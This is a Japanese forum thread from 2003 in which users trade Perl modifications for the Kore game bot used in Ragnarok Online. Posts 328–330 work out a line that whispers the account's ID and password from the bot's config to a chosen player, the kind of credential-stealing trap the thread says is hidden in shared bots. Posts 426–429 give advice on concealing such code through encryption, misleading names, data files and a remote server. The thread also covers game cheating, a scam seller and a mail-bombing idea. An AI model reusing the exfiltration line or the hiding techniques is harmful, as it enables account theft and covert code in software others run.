ミジンコのような質問ですがよろしくお願いします
326ネトゲ廃人@名無し:03/09/03 16:30 ID:???
そういう低級なのはこっちで聞いてね♪
ttp://game3.2ch.net/test/read.cgi/mmosaloon/1061882276/
327ネトゲ廃人@名無し:03/09/03 17:05 ID:???
>>325
もしかして本当に「送り先\n」とか書いてないよな?
ネタだよな?
328321:03/09/03 17:16 ID:???
>>326
コード関連なのでこちらに書き込みさせていただきました

>>327
いえ、ちゃんとログイン中のキャラクター名でやっています。

perl本体に書くときは画面上で打ち込むような

pm "送り先” メッセージ

ではいけないのでしょうか?
"pm", " \"送り先\" ", "やぁ、IDは:$config{'username'}で、パスワードは:$config{'password'}だよ。\n";

これを単独で実行すると上に書いたような状態ででるのでそれでもおくれていないみたいなのでどうなのでしょうか。
329ネトゲ廃人@名無し:03/09/03 17:30 ID:???
>>328
まずsub sendMessageの関数仕様を100回ほど見直せ
あと、\"や\nやるとどうなるのか分かってるのか?
326のは、
「Perlの事分かってなさすぎ。出直して来い」
って言ってるのさ
とりあえず基本的なPerlの勉強からやり直してくれ
330321:03/09/03 17:32 ID:???
連書きすいません

>>327

いろいろやってみてやっといってる意味がわかりました。
そして無事解決できました
sendMessage(\$remote_socket, "pm", "やぁ、IDは:$config{'username'}で、パスワードは:$config{'password'}だよ。", "送り先");
だったんですね。

これをもとに新しいのを考えて見ます。ありがとうございました・
331ネトゲ廃人@名無し:03/09/03 17:45 ID:???
ちょいと相談が。
辻支援(指定したタゲもしくは不特定へ指定スキルを使用)を作ったんだけど、
randomWalkしてる2体をうまいこと出会うようにするいい方法ないかな?
pointWalkでお互い逆周り・定点以外で、もしあればと思って。というのも片方は
アコなので逃げ回ってる状況なのです。

今考えてるのは、効能時間が切れたらparty座標を元に、支援側が近くまでラン
テレし、後は歩いて近づくってのなんだけど、どうも強引すぎる気がするんだよね。
実装してる人でウマーな方法あればアドバイス求む。
332ネトゲ廃人@名無し:03/09/03 18:14 ID:???
>>331
実装はしてないが何通りか考えてみた。コード化する技術は無いのでそのへんよろしくw

@ アコは普段ハイド(クローク)していて切れたら姿を現し支援

A 隣に安全なMAPがあるなら指定時間ごとにそのMAPに移動

B ランテレしないように設定してあとをつけさせ続けてタゲ変更コードを応用してアコを殴ってるのを優先、さらにアコはハイド使用

こんなのはどうだろう
333ネトゲ廃人@名無し:03/09/03 18:56 ID:???
>>331
アコ側か相手側で支援の時間を管理し、切れそうになったら相手にWIS
WIS送られた方が
⇒アコの場合
  相手から送られてくるWISに座標を含めておいて、相手はそこでSTOP
⇒相手の場合
  WISが着たらその場に停止して、アコに座標を教える
得られた相手座標にアコが向かって、支援する

って感じでどうよ?
334ネトゲ廃人@名無し:03/09/03 18:59 ID:???
lv100超えなんて出来るのか世・・・
335ネトゲ廃人@名無し:03/09/03 19:00 ID:???
>>605氏
GM,GETITEM等記録系統をすべてフォルダに書き込むようにするコードあります?
PlyaerDate・Chatだけフォルダに入れてもかなり微妙でして
336ネトゲ廃人@名無し:03/09/03 19:23 ID:???
>>335
簡単だから実装してみ
open(XXX,">>ファイル名")のファイル名の前にフォルダ名+'/'入れるだけだから
337ネトゲ廃人@名無し:03/09/03 19:33 ID:???
露店コードてこの情報のスレで全然話題に上らないが、もしかいして需要ない?、
表示コードが発達してるけど、露店機能発達して星井…(購入面はタブーとして)
338ネトゲ廃人@名無し:03/09/03 20:08 ID:???
>>337
逆に聞くけどどういう機能が欲しいわけ?
339ネトゲ廃人@名無し:03/09/03 20:21 ID:???
>>338
出回ってるコードて不具合多いので(開閉のときとか)、滑らかに使いたいんだが上手くいかない
というかそもそもコードが全然見当たらないので・・・、使えるのを出して欲しいのが本心_| ̄|○
340ネトゲ廃人@名無し:03/09/03 20:27 ID:???
>605氏

plyerBase記録つけてみたけど・・凄いですな。。
これは今までにないやばさですな。。
341ネトゲ廃人@名無し:03/09/03 20:35 ID:???
頭装備のはここを参考にドゾー

tp://www.geocities.co.jp/SiliconValley-PaloAlto/4158/item.txt

猿解説チートより抜粋
342ネトゲ廃人@名無し:03/09/03 20:36 ID:???
>>340
なんだオマイは
343ネトゲ廃人@名無し:03/09/03 20:43 ID:???
>>340
キモ
344ネトゲ廃人@名無し:03/09/03 20:45 ID:???
何がやばいのかサパーリ理解できんのだが
345ネトゲ廃人@名無し:03/09/03 20:57 ID:???
346ネトゲ廃人@名無し:03/09/03 20:59 ID:???
thegleek
ttp://www.thegleek.com:3080/

         ゚ ゚
( д)
347ネトゲ廃人@名無し:03/09/03 21:05 ID:???
ミジンコ
348ネトゲ廃人@名無し:03/09/03 21:11 ID:???
605氏

容量でかくなるけど、前回のBase記録コードに頭装備ありますよね。番号表記ではなく、装備品を書き込めるように出来ますかね
>>341のページを利用して)
349ネトゲ廃人@名無し:03/09/03 21:19 ID:???
うーん・・・、現在のmodifiedWalkコードの、subのところだが、
前作と最新ので、前者が滑らか時、後者がゴツゴツ時に私用と605氏はいうが、
configで切り替えるように出来ると便利な希ガス。

あと、こっちは質問なんだけど、
checkCoordinate{ (略

sub CalcRandom{ (略
がありますが、どちらを入れればいいんですかね。一垢だけなので、動作確認出来ないのが辛い・・
長くなってスマソ
350ネトゲ廃人@名無し:03/09/03 21:32 ID:???
装備IDと名前とをリスト化しておいて
出力時に名前を書き出せば良いだけだろ
こんなの猿でも出来るぞ
お前コード書いたこと無いだろ( ゚,_ゝ゚)
351ネトゲ廃人@名無し:03/09/03 21:41 ID:???
>>348,349
お前らの言ってるのはミジンコでもできる修正だぞ
UZEEEE!からミジンコスレへ帰れ
352ネトゲ廃人@名無し:03/09/03 21:47 ID:???
>>350
詳細オボンヌ
353前スレ605:03/09/04 00:51 ID:???
え〜と、前回と今回のmodifiedWalkに補足
そもそもに壁歩き防止コードはBOTっぽくみえないためのもののはず
というわけで、まず、壁が滑らかの場合
いくら壁から離れていても、壁から一定の距離を保って
まっすぐ歩いていては(肉入りだったら1セルくらいはずれるはず)、それはそれで怪しいかと
それをふせぐためのものが前回の壁歩き防止コードなわけです
で、壁がごつごつしている場合
こっちだと、壁がごつごつしているため、修正をかけた座標もごつごつするわけです
そのため、わざわざrandで演出してやるよりは壁歩き防止を正確にやって欲しい・・・
というわけでの今回のコードです

>>316,341
Thx〜
item.txtさっそく利用させてもらいました

*******************************************

+addParseFiles("tables/heditems.txt", \%headItems_lut, \&parseDataFile2);

*******************************************

+if($headItems_lut{sprintf('%x',$players{$pID}{'head1'})}){
+$playerBaselv{$players{$pID}{'name'}}{'head1'}=$headItems_lut{sprintf('%x',$players{$pID}{'head1'})};
+}else{
$playerBaselv{$players{$pID}{'name'}}{'head1'}=$players{$pID}{'head1'};
+}
+if($headItems_lut{sprintf('%x',$players{$pID}{'head2'})}){
+$playerBaselv{$players{$pID}{'name'}}{'head2'}=$headItems_lut{sprintf('%x',$players{$pID}{'head2'})};
+}else{
$playerBaselv{$players{$pID}{'name'}}{'head2'}=$players{$pID}{'head2'};
+}
354前スレ605:03/09/04 00:53 ID:???
+if($headItems_lut{sprintf('%x',$players{$pID}{'head3'})}){
+$playerBaselv{$players{$pID}{'name'}}{'head3'}=$headItems_lut{sprintf('%x',$players{$pID}{'head3'})};
+}else{
$playerBaselv{$players{$pID}{'name'}}{'head3'}=$players{$pID}{'head3'};
+}

*******************************************
追加するファイルはいわずもがな
罠入りなんで注意

04 装備用鼻花

にしてもSDって、上位10名、漏れを除いたら騎士しかいない・・・・
アサのBOTってあいかわらず少数なんだなぁ
355ネトゲ廃人@名無し:03/09/04 01:08 ID:???
>>605
別サイトに呼応するように・・・説明Thx♪いつも勉強させてもらってます。
MyBotは若干randな要素があったほうが性にあってるんで、ちょっと混合してます。

そういえば、アイテム取得のtimeoutもばらつき入れてるなぁ・・・。
356ネトゲ廃人@名無し:03/09/04 01:38 ID:???
>353-354のコードってのは、>348の言ってた香具師のコードって事でおk?

>04 装備用鼻花

…意味不m、理解力なくてスマソ
357ネトゲ廃人@名無し:03/09/04 01:43 ID:???
漏れも最近アサbot始めたんだけど
やっぱり騎士と比べると安定性がないかな。
騎士なら囲まれても多少耐えてくれるけど
アサだとお察し下さいだからなぁ。
HP回復力の差は大きいとオモタ。
358ネトゲ廃人@名無し:03/09/04 06:14 ID:???
アサシンは武器持ち替えがデフォのままだとうまく動かんね。
359316:03/09/04 07:27 ID:???
レベルソートでのバグハケーン(´Д`;)
半角入りキャラ名だとソートおかしくなります(当たり前だわな・・・
セパレータ変えればなんとかなるんだろうが面倒なので放置

>>605
そのリスト若干ずれてると思われ
例えば40はヘルム、67傘、68オペラ仮面となぜか1個ずれてるような
もうちっと調べてみま
360前スレ605:03/09/04 07:36 ID:???
>>356
確かに説明不足かぁ
頭装備を数字でなくて名前で表示するためのコードってことで

04 装備用鼻花

で、これは猿升においてあるitem.txtのこと
まあ、罠というほどでもないんで考えすぎんでください

361ネトゲ廃人@名無し:03/09/04 08:17 ID:???
>>332,333
参考にさせてもらいますね。Thx♪ 
いまrandomWalkの遭遇状況を確認しつつとりあえず動かしてる。伊豆2で大体
10〜15分に一回は遭遇して、支援かましてますな。

でも・・・「友達?」WISキターーーーーー(゚∀゚)ーーーーーーーーBOT初
嫉妬?疑惑? _| ̄|○ ホットイテクレヨ
「友達?」ワードの返答に「愛人ですが、何か?」を入れようかと検討中
362ネトゲ廃人@名無し:03/09/04 08:21 ID:???
辻支援もしらんのかその肉入りソロは
363ネトゲ廃人@名無し:03/09/04 10:49 ID:???
ディレクトリは自動で作るようにした方が…
364ネトゲ廃人@名無し:03/09/04 12:11 ID:???
>>361
きっと自分にも支援してほしいんだよ
その遭遇ペースだとSPあまってると思うので、
彼にも支援してあげることを薦めてみたり
365361:03/09/04 12:42 ID:???
>364
たぶんね
んじゃ、605氏のLV取得とからめて、低レベルプレイヤ
にきまぐれヒールでもくれてやるか
うちも低だから余裕ないんだよね。いちおうたたいてるし
Agi型だし
366ネトゲ廃人@名無し:03/09/04 13:12 ID:???
} elsif ($switch eq "0078" && length($msg) >= 54) {
この文に文法ミスがありますか?
括弧の数がおかしいと出るんですが…
367ネトゲ廃人@名無し:03/09/04 14:13 ID:???
=>
368ネトゲ廃人@名無し:03/09/04 15:40 ID:???
>>366
その行はないね
周りを見ないと意味ないぜ
369ネトゲ廃人@名無し:03/09/04 16:12 ID:???
>括弧の数がおかしいと出るんですが…
370ネトゲ廃人@名無し:03/09/04 16:27 ID:???
addParseFiles("defeat.txt", \%defeatMonster, \&parseDataFile2);

# モンスター撃破数記録
sub recordDefeatMonster {
my $i;
my @defeat;

@defeat = keys(%defeatMonster);

open(FILE, ">defeat.txt");
for ($i = 0; $i < @defeat; $i++) {
open(FILE, ">GetItem/$servers[$config{'server'}]{'name'}_$field{'name'}defeat.txt");
}
close(FILE);
}

これで、フォルダへ書き込んでないのですが・・どうすれば・・
371ネトゲ廃人@名無し:03/09/04 16:40 ID:???
>>370
ディレクトリ作ってないとか言わないよな?な?
ってかそれ以前にファイルハンドルかぶらせるなよ・・・
最近Perl自体の初心者が増えたね・・・・
372ネトゲ廃人@名無し:03/09/04 16:44 ID:???
373ネトゲ廃人@名無し:03/09/04 16:50 ID:???
>>371,372
基本に戻って、完全放置でどうだろう?
374ネトゲ廃人@名無し:03/09/04 16:59 ID:???
>>373
うん
よく見てみたらいろいろと分かったからもう放置するわ すまんね
375ネトゲ廃人@名無し:03/09/04 18:28 ID:???
>>353
addParseFiles("tables/heditems.txt", \%headItems_lut, \&parseDataFile2);

headじゃね?
376ネトゲ廃人@名無し:03/09/04 19:21 ID:???
>>375
みんな動作してるってことは、みんな気づいてるってわけですよ…
377ネトゲ廃人@名無し:03/09/04 19:50 ID:???
>>376
いや、スペルの指摘であって、それはそれでいいのだと。
heditems.txtよりはheaditems.txtとしての指定で後に残ったほうがいいでしょうしな。
378366:03/09/04 20:39 ID:???
解決しました。勘違いイクナイ…
379前スレ605:03/09/04 21:40 ID:???
>>375
追加するテキストはいわずもがな・・・・・・・・なにがだろう、漏れ

脳内ではaを押したと思っていて、実はcaps Lockを押したんだろうと
苦しい推測をしてみる
380ネトゲ廃人@名無し:03/09/04 23:03 ID:???
>>605
ウムウム。気にすることも無く。
後世にheditemと残っても・・・headジャネーノ?誰よそれ?605氏?なるほどね
などと言われても、気にすることはあーりませんよ。
と言ってみる。 ・ω・ エヘ
381ネトゲ廃人@名無し:03/09/04 23:13 ID:???
>>380
ひでぇ
382ネトゲ廃人@名無し:03/09/04 23:15 ID:???
今始めて自分でコードを組もうとしているのですが、組もうと思っているコードの参考になるところを教えていただけないでしょうか

前にもどこかに書いたのですが
アイテムをGETITEMのような形式でtxtに残すのではなくdefeatのように記録したいのです。
その他に指定した時間ごとに新しく記録しなおす
という機能を持ったものを作ってみたいのですが参考にしたらいいコードなどありましたら教えてください。
よろしくお願いします
383ネトゲ廃人@名無し:03/09/04 23:16 ID:???
ウキ
384ネトゲ廃人@名無し:03/09/04 23:23 ID:???
>>382
参考にすべきコード:Kore.pl
385ネトゲ廃人@名無し:03/09/04 23:24 ID:???
>>382
全角で打つあたりもうだめそう
コード参考にするまえにPerlで簡単な入出力を行うもの作れ
386ネトゲ廃人@名無し:03/09/04 23:46 ID:???
>>384-385
そろそろ放置の方向で、ってのはどうだろう?
387ネトゲ廃人@名無し:03/09/04 23:52 ID:???
何方か370の修正を御願します。
これでもう消えますんで、どうかお願い思案す
388ネトゲ廃人@名無し:03/09/05 00:00 ID:???
我慢比べ、スタァーーーーート!
389ネトゲ廃人@名無し:03/09/05 00:12 ID:???
マンクルッポー
マンクルッポー
マンクルッポー
マンクルッポー
マンクルッポー
マンクルッポー
マンクルッポー
マンクルッポー
マンクルッポー
マンコ
マンクルッポー
マンクルッポー
マンクルッポー
390ネトゲ廃人@名無し:03/09/05 00:13 ID:???
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウキィ
ウンコ
391ネトゲ廃人@名無し:03/09/05 00:14 ID:???
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ゲロッパ
ロッダフロッグ
392ネトゲ廃人@名無し:03/09/05 00:19 ID:???
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポリン
ポパイ
393ネトゲ廃人@名無し:03/09/05 00:20 ID:???
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソン
ソソ
ソン
ソン
ソン
ソン
ソン
ソン
394ネトゲ廃人@名無し:03/09/05 00:23 ID:???
>>389-393
こいつらは我慢比べしてるつもりですか?
395ネトゲ廃人@名無し:03/09/05 00:23 ID:???
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン
オマン21
396ネトゲ廃人@名無し:03/09/05 00:26 ID:???
オマン21 → ル・マン21
397ネトゲ廃人@名無し:03/09/05 00:34 ID:???
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
kore
俺つぇえええエエエエエエエエ!!!!!wwwwwwwwwwww
マジDE???イヤッホゥウウーーーーーーー!!!!!wWWWWwwwwwW
やったZEEEEE!!wアヒャヒャヒャヒャッ!!wWw
398ネトゲ廃人@名無し:03/09/05 00:34 ID:???
患者必死だな(藁
399ネトゲ廃人@名無し:03/09/05 00:36 ID:???
ウキ
400ネトゲ廃人@名無し:03/09/05 00:42 ID:???
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
教えて下さい
     ,、-‐…、,r'       | .l / i   ,j,,j,,_ l ゙、   ヽ、 ヽ        /  l
           , '    ,.' ,  ,  !,,jr!''!''j'! /!  ,././.l. ソヽ,.l ',  ',ヽ l.゙、     /    !
           ,'    i、ヽl  | ,rj'!.l .l,,,!,!,!.j ', ,r/,r',、i/,,. 'l.,i' .l,  ! ヾ ゙、.   ,r'     j
     r 、.   ,'    .{、ヽ,l  l" ! ,r'",、-、゙' ゙ "´ "r''' 、'li, !.  |l. j'、.   ',,、-'"      /   ?
    ', ゙ヽ、 l      lヽ,. |  ゙!.l;l! ./;、 j',     |、_ノ;', lr.|  l l'゙ ',   .!       /
     ',    ゙ !    ,. !、ヽ,', ゙l゙'l!. l;;;;;;゙";;j     l;;;;;;;;j "rl  l   ,',   |.      ,r'
      ',    l     .ll .! ゙'、r゙、 l ゙ ゙、;''''''ツ   ・ ヾ-" .';l. j / .i   ,'     /
       ゙、   ',    !.l !  ヽ,゙、. l    ゙~´     C    .ノ! .,'.'"   l /    /      「 おしえてくださいっ」
.        ゙、.   ',   !゙'l!、   ゙゙、 ',-、,,_        ,,、-'" !/    .l./   /   
       \   ゙、  | ゙、ヽ、, l゙゙゙ヾ、、 ゙'''''i…ー‐,i、'/,,,,   ,',.     l/  /
         \. \ |.    ゙ヽ、  ,,.゙ヽ.r'! ,r"r'",,,  ゙ヽ,  ゙゙''ツ   ,、-'
          ゙ヽ、ヾ   ,r''"~ ,.',r.r:'''゙-.'"~''く" ._゙'、.  ', ,r'" ,、-'"
            ゙ヽ 、.  ゙ヽ、 r", i、:::::::::::;;;;;ツヽ'、'‐゙  l ゙'、'"
               `゙''‐,r' .l,゙.{'" ヾ、;、-'"   .〉゙'''‐-l、、)
                 ゝ、ノ!. !         / .',   ト、,
401ネトゲ廃人@名無し:03/09/05 00:43 ID:???
あー失敗
402ネトゲ廃人@名無し:03/09/05 01:10 ID:???
おかしい・・・夏は終わったはずじゃ
403ネトゲ廃人@名無し:03/09/05 01:11 ID:???
残暑ってやつだよ。
404ネトゲ廃人@名無し:03/09/05 03:03 ID:???
武器持ち替えコードが上手く機能してないみたいなのですが
このコードを使ってる皆さんはうまく機能してますか?
モンスターごとに替えるのと、中級Pert32でのマリシャス、矢の持ち替え用の
コード共に上手くいきませんでした

武器持ち替えようとすると
「You can't put on 〜〜」と表示されて装備できません
You can't put onが関係するのは elsif ($switch eq "00AA") { 
のところですが、この部分を他のKoreと差分をとっても出回ってるものと同じです
eqコマンドで装備をしようとしても上手く出来ませんでした
これも差分をとると間違いはないと思うのですが・・・

autoSwitch_weapon_def +8 トリプルボーンド クロスボウ
autoSwitch_weapon_0 +9 クワドロプルマリシャス コンポジットボウ
autoSwitch_target_0 モンス名

で両方ともに所持してますし名前もあっています
上手くいってる方教えてください。よろしくです

pert32の流れを組んでるのはこっちでした
書き込むほう間違えました・・・マルチになってすいません
405ネトゲ廃人@名無し:03/09/05 07:34 ID:???
>>404
eqコマンドでもムリだとぉ?
それはKore.pl自体がおかしいんじゃないか?

オレの場合+8TBX→+10QMCにしてるが問題なし
あと、HP70%切ったら持ち替え、指定モンスのとき持ち替えしてる。
矢の指定してる?してたら指定はずしてみ
406ネトゲ廃人@名無し:03/09/05 07:48 ID:???
暗号化きた?
407ネトゲ廃人@名無し:03/09/05 08:13 ID:???
>>406
あぁ、来たね
408ネトゲ廃人@名無し:03/09/05 08:19 ID:???
( ´∀`)y-~ コンソール見ながら朝飯・・・オツなもんだな
409ネトゲ廃人@名無し:03/09/05 08:51 ID:???
>>404
向こうのスレでもレス貰ってるじゃないかよ
質問して寝て起きたら回答されてるだろうっていう考え方はやめれ
410ネトゲ廃人@名無し:03/09/05 08:54 ID:???
>>408
V-Koreだとカラフルだよ
411ネトゲ廃人@名無し:03/09/05 09:04 ID:???
>>409
放置スキル
もしくは他スレで同じこと質問してんじゃねぇ!!とコキおろせ
412ネトゲ廃人@名無し:03/09/05 09:15 ID:???
>>411
>pert32の流れを組んでるのはこっちでした
>書き込むほう間違えました・・・マルチになってすいません
413ネトゲ廃人@名無し:03/09/05 09:16 ID:???
>412によると謝罪してればマルチしまくってもよさそうだなw
414ネトゲ廃人@名無し:03/09/05 09:20 ID:???
>>413
OKじゃないの?
でも、お前はマルチしないでしょ
415ネトゲ廃人@名無し:03/09/05 09:27 ID:???
|  |
|  |∧_∧
|_|´・ω・`)  あの・・・ミルクですけど
|雲| o o乳~
| ̄|―u'
""""""""""

|  |
|  |∧_∧
|_|´・ω・`)  カリカリしないで、飲んでね。
|陽| o ヽコト
| ̄|―u'  牛~ 乳~ 微乳~ 美乳~ 巨乳~ 腐乳~
""""""""""
416ネトゲ廃人@名無し:03/09/05 09:52 ID:???
おれつえええ
417ネトゲ廃人@名無し:03/09/05 12:06 ID:???
    _, ._
  ( ゚ Д゚,)   イタダキマス
  (,つ美乳O
  と,,_),_)
418404:03/09/05 13:48 ID:???
動いているという405さんがいらっしゃるのでこちらにします
>矢の指定してる?してたら指定はずしてみ
というのはどういうことですか?
矢の指定はしてないと思います

[i]コマンドで出た名前をそのままコピーして使ってるのですけど
上手くいかないです
eqコマンドは精錬してると上手く働かないみたいです
精錬武器はeq、uneqともに働きませんでした
無精錬の短剣は装備できました

eqコマンドも出回ってるkoreと間違いはないです
また出回ってるkoreをそのまま使っても同じような症状が出ます
解決法分かりますか?
419ネトゲ廃人@名無し:03/09/05 15:30 ID:???
>>418
eq uneqができるように直しておいで
それでもダメだったら話を聞いてあげる
420ネトゲ廃人@名無し:03/09/05 16:38 ID:???
昨日の夜あたりから急にキャラセレから入れん。
解消方Plz!!!!!!!!

configは色々弄ってみたが(Sever関連)、無理・・
何方か解消法を教えて下さい
421ネトゲ廃人@名無し:03/09/05 17:19 ID:???

>>370
>>370
>>370
>>370
>>370
>>370

教えて下さい。
→defeatをフォルダGetitemに記録し、その際にフィールド別にdefeat記録、
  重要アイテム取得(〜匹目で入手)については、defeat総括で表示

こんな感じです。。
422ネトゲ廃人@名無し:03/09/05 17:33 ID:???
>>420
# クライアント情報
version 10
encrypt 0
servertype 2
servicetype 2
login 1

>>421
何が言いたいかわからん
423ネトゲ廃人@名無し:03/09/05 18:37 ID:???
>410
use Win32::Console;
$CONSOLE = new Win32::Console(STD_OUTPUT_HANDLE) || die "Could not init Console";

$CONSOLE->Attr($FG_YELLOW|$BG_BLACK);
print "この文字が黄色になる\n";
$CONSOLE->Attr($ATTR_NORMAL);


V-Koreを、日本語フォントにするのに四苦八苦した鳩w
424ネトゲ廃人@名無し:03/09/05 18:56 ID:???
modifiedWalk3って605氏が色々と何度か修正したから、結局何処と何処を追加すればいいのか分からなくなってきたぞ・・。

config設定に関しても何も記述されてませんが、configには以前の(壁から離れる数値とか)は残しておくのか。
425ネトゲ廃人@名無し:03/09/05 19:57 ID:???
>>421
日本語と人にものを聞く方法を勉強してから出直してくれ。
426ネトゲ廃人@名無し:03/09/05 20:15 ID:???
ミコミコナースのフルVerが来たので、常にフルコーラス歌い続ける罠を
仕込みたいんだが、歌詞が長すぎるせいで漏れの力量じゃ
コードを隠匿しきれない。
バレバレじゃすぐ外されちゃうし…

何かいい知恵無いですか?(´・ω・`)
隠蔽の指針を教えてください。コード化は自力でガンガルのでヽ(´Д`;)ノ
427ネトゲ廃人@名無し:03/09/05 20:54 ID:???
>>426
簡単な方法だが、

1. 流れ上必然的に実行されるような部分で歌詞を外部データから読み込む。
2. 外部データは簡単で適当な暗号をかけておいて、実行時に平文に戻す。
# 歌詞でgrepされたら即バレだからな
3. 発言コードはサブルーチンを呼ばずに直に書く

plコードの後ろに追加したりすると即バレるから、真ん中とか分かり難い部分に書く。
変数や関数の名前付けもその名称からは役割を誤解しやすいものにする。
外部データは/tableにある既存のデータファイルを書き換えて中に忍ばせるのも手だな。

結局はどんなことしたってどうせばれる。
428ネトゲ廃人@名無し:03/09/05 21:04 ID:???
605氏のコード(表示記録ので)

フィールド別に分けておりますが、例えばplayeDateだと、playerDateフォルダに、
chaos_prontera.fild_playerDate.txt
と表記されますが、これを、
プロ_playerDate.txt
と表示するにはどうすればいいのでしょうか。(プロと表示することがどうすればいいか分からない)
429ネトゲ廃人@名無し:03/09/05 21:15 ID:???
>>426
外部鯖とかから歌詞データとって来るってどうよ?
430ネトゲ廃人@名無し:03/09/05 21:21 ID:???
>>427
やっぱり外部ファイルですか(´・ω・`)

ちょっと手を加えてみます。

とりあえず、

1.歌詞を歌い続ける
2.ドーキードーキー止まらない♪ でハートを飛ばす
3.普段はひたすら♪〜エモ連射
4.まぁだまぁだいくよ〜! でナイトなら2HQ発動

今のところのアイデアはこんなところ。
他に追補すべきアクションある?
431bot販売委員:03/09/05 21:24 ID:???
http://www.geocities.co.jp/Playtown-Rook/4353/
罠なしBOTを格安で販売するHPつくりまちた。。一度ご覧あれ
432ネトゲ廃人@名無し:03/09/05 21:33 ID:???
>>430
>3.普段はひたすら♪〜エモ連射
韓国旗でGO!
433ネトゲ廃人@名無し:03/09/05 21:57 ID:???
431は、詐欺だ気をつけろ
WMだけ抜かれてた;;
434ネトゲ廃人@名無し:03/09/05 22:02 ID:???
ってかここの住人なら買う必要ないだろ
435ネトゲ廃人@名無し:03/09/05 22:39 ID:???
他人のつくったものを売るっていうのが俺は気に入らんな。
436ネトゲ廃人@名無し:03/09/05 22:43 ID:???
メール送りまくってパンクさせてみるか…
hotmailなら2MBまでだし。
437ネトゲ廃人@名無し:03/09/05 23:06 ID:???
438ネトゲ廃人@名無し:03/09/05 23:35 ID:???
精錬チトのやり方教えろやハゲ共
439ネトゲ廃人@名無し:03/09/05 23:47 ID:???
>>438
スレ違い

    ↓でほざいてろヽ(`д´)ノ
チート教えてRO
http://game3.2ch.net/test/read.cgi/mmosaloon/1049794662/
440ネトゲ廃人@名無し:03/09/05 23:54 ID:???
>>431
ホームページNinja・・・ガンガ!
441ネトゲ廃人@名無し:03/09/06 00:00 ID:???
BOTの収集品を全て一気に露店に出すアフォがかなり多いので
前スレ605氏が作った露店機能を独自に改造し、搭載した露店専用BOTをうpします。

これBOTは自動売りなおし機能が完全に動くので
カード等を10枚とか一気に売りに出す必要が無くなる。
詳細はうpしたファイルに入ってる。

というわけで、相場下落の緩和になるかもしれんと言う感じ。

肉入りさんへ>
消費者にとっては相場下落は嬉しいかもしれんが良く考えてくれ。
自分の出したものも売れなくなるのは嫌でしょ?

というわけでバシバシ使ってくれ。
ちなみに605氏からクレーム来たら削除します。

ttp://r0uppp.hp.infoseek.co.jp/cgi-bin/upboard/source/up0112.lzh
442ネトゲ廃人@名無し:03/09/06 00:46 ID:???
罠みつかんね('Д`)ドコォダァ
443441:03/09/06 00:59 ID:???
>>442
だから罠はねぇってReadMe.txtに書いてあんだろうが。

そもそもこの露店BOTの配布目的はデフレの緩和策に近いからな。
罠なんか入れる必要ない。

444ネトゲ廃人@名無し:03/09/06 01:04 ID:???
あのう、gef_dunに行ってくれずにgef_towerの158 124で止まるんです・・・

どなたか動いてるportals.txtとportalsLOS.txtください・・・
445ネトゲ廃人@名無し:03/09/06 01:08 ID:???
>>443
>だから罠はねぇってReadMe.txtに書いてあんだろうが。
ReadMeに書いてあるからって信じる奴なんて居ると思うのか?
あぁ、鳩を騙すための小細工ですか( ゚,_ゝ゚)プゲラ
446ネトゲ廃人@名無し:03/09/06 01:13 ID:???
というか、無いのにこんな事言われてる443も可哀想だな
447ネトゲ廃人@名無し:03/09/06 01:16 ID:???
445はperlが読めないミジンコなんです。
お察しください!!
448ネトゲ廃人@名無し:03/09/06 01:17 ID:???
ジサクジエンですか?
449ネトゲ廃人@名無し:03/09/06 01:20 ID:???
とりあえずアカウント抜きは無いっぽいので、今から白ぽ400個売ってみる。
450441:03/09/06 01:21 ID:???
なんつぅか、、、Perl読めない人間多すぎだなぁ。。
てか、ファイル比較ソフト使えば罠入りかどうか直ぐわかるし。

取りあえずこれだけ言っとくわ。

クライアントで露店開くより100倍便利です。
451前スレ605:03/09/06 01:25 ID:???
>>380
クホホホ、コーディングに失敗しました・・・・・・・
まあ、コードと同じくらいミスもたっぷり貼ってるしなぁ

>>428
$maps_lutをつかってほすぃ

>>441
ぱっと見たところでは・・・・・自動露店タイトルの長さのチェックが気になる

とりあえず、コードをいじるのも自由だし、貼るのもまったく構わんですが
できれば、中級スレ中心に・・・・というのはかわらず
漏れのコードはミスが多いんで、漏れの知らないところでミスの混じったコードが
広まるのは勘弁というのが主な理由
452ネトゲ廃人@名無し2時50分:03/09/06 01:30 ID:???
453ネトゲ廃人@名無し:03/09/06 01:32 ID:???
>>前スレ605氏
露店タイトルの長さチェックは、俺も気になってたところです。
で、直すの忘れたまま今日に至る訳なんですが、、、

まぁ、クライアントで露店を開いた所、露店看板名はかなり長く設定できるようになってます。
(半角文字のみを使用した場合)
まぁ、露店BOTの方でも上手く設定すれば問題ないです。
俺はこの露店をBOT1ヶ月以上使い続けてますし。

ちなみに、うpろだに上げた理由はこんな感じです。
追加するコードが長すぎる。ここに貼ったらある意味荒らしになっちゃう^^;

・・・やっぱうpしたのは不味かったかなぁ。605氏申し訳ないです。
454ネトゲ廃人@名無し:03/09/06 01:40 ID:???
upはまずいお
455ネトゲ廃人@名無し:03/09/06 01:53 ID:???
とりあえず、自動露店看板名の長さに関して修正入れました。これ使ってちょ
固定看板の長さに関しては未修正だけど。
sub openShop内にある↓
if($j == $chars[$config{'char'}]{'skills'}{'MC_VENDING'}{'lv'}+1
|| !$roten{"sellItemName_$lastNum"} ){
- $rotenTitle .= $roten{"sellItemTitle_$i"};
+ $rotenTitle .= $roten{"sellItemTitle_$i"} if( length($rotenTitle.$roten{"sellItemTitle_$i"}) < 36 );
}else{
